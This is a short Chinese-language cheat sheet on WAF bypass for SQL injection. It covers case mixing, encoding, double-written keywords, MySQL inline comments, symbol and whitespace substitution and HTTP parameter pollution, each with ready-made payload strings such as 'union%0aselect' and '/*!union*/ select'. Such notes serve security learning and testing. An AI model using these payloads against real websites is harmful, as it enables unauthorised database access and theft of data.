目录
WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。
WAF绕过:
1.数据:大小写
加密解密
编码解码
等价函数
特殊符号
反序列化
注释符混用
2.方式: 更改提交
变异
3.其他: Fuzz大法
数据库特征
垃圾数据溢出
1.关键词大小写绕过
有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
举例: union select ---> unIOn SeLEcT
2.编码绕过
针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.
举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23
3.双写绕过
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举例:UNIunionON ,SELselectECT anandd
4.换行(\N)绕过
举例:select * from admin where username = \N union select 1,user() from admin
注释符内联注释绕过:
union selecte =/*!union*/ select
注释符里感叹号后面的内容会被mysql执行。
5.同义词替换
and=&&
or=||
=(等于号)=<、>
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是换行也可以替代空格
6. HTTP参污
对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/
order by绕过:%20/*//--/*/ V4.0
联合绕过:union /*!--+/*%0aselect/*!1,2,3*/ --+
from绕过: /*!06447%23%0afrom*/